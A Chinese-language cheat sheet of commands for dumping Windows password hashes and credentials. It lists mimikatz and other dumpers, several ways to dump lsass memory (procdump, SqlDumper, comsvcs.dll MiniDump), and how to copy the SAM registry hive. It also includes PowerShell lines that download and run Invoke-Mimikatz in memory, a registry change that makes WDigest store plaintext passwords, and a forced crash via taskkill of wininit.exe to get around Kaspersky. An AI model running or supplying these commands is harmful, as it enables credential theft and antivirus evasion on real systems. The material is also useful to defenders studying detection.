Windows本地hashdump备忘录
市面上可见到的读Windows本地密码的大多工具都是变则法子的去读lsass.exe这个密码的内存或者SAM数据库,然后从里面提取hash。所以有杀软的情况下读密码这事根本就不是工具免不免杀的问题,而是杀软有没有监控保护lsass.exe或SAM的问题,所以读本地密码条件可以总结为:
能正常访访问lsass.exe内存或SAM数据库。
常见工具
工具仅部分,通过以下操作可一键获取密码。
mimikatz
https://github.com/gentilkiwi/mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
QuarksPwDump
https://github.com/quarkslab/quarkspwdump
QuarksPwDump.exe -dhl
wce
https://www.ampliasecurity.com/research/wcefaq.html
wce.exe -w
pwdump7
http://www.tarasco.org/security/pwdump_7/index.html
PwDump7.exe
LaZagne
https://github.com/AlessandroZ/LaZagne
laZagne_x86.exe windows
lsass内存dump
工具仅部分,通过以下操作可先获取到lsass内存文件,然后使用mimikatz可进一步读取密码。
参考命令:
mimikatz.exe"sekurlsa::minidump lsass.dmp""sekurlsa::logonPasswords full" "exit"
SharpDump
https://github.com/GhostPack/SharpDump
for /f "tokens=2" %i in ('tasklist /FI "IMAGENAME eq lsass.exe" /NH') do SharpDump.exe %i
ProcDump
https://docs.microsoft.com/en-us/sysinternals/downloads/procdump
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
SqlDumper
https://support.microsoft.com/en-us/help/917825/use-the-sqldumper-exe-utility-to-generate-a-dump-file-in-sql-server
for /f "tokens=2" %i in ('tasklist /FI "IMAGENAME eq lsass.exe" /NH') do Sqldumper.exe %i 0 0x01100
rundll32
https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/
for /f "tokens=2" %i in ('tasklist /FI "IMAGENAME eq lsass.exe" /NH') do rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump %i .\lsass.dmp full
关于SAM数据库
管理员执行:
reg save hklm\sam .\sam.hive® save hklm\system .\system.hive
然后将两个文件导入SAMInside并将NT-Hash复制出来去相关网站查询即可。(mimikatz也可以读)
关于无文件加载
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
读一下代码会发现都是peloader做的,同理可以把procdump做成psh实现无文件dump。
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TheKingOfDuck/hashdump/master/procdump/procdump.ps1');Invoke-Procdump64 -Args '-accepteula -ma lsass.exe lsass.dmp'"
关于2012以及win10之后的机器:
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
键值为1时Wdigest Auth保存明文口令,为0则不保存明文。修改为重新登录生效。
偏激的bypass卡巴读密码
卡巴以及小红伞均对lsass.exe进行了保护,导致微软出的两款工具以及他自己的kldumper都无法用于dump lsass。但是可以通过制造蓝屏来获取所有内存的文件MEMORY.DMP没然后在提出lsass进一步读取。
taskkill /f /im "wininit.exe"
可参考: https://www.mrwu.red/web/2000.html
总结
bypass av可以以卡巴为衡量标准,能过卡巴约等于过全部。
所以文件最终文件放在:
https://github.com/TheKingOfDuck/hashdump
也无风雨也无晴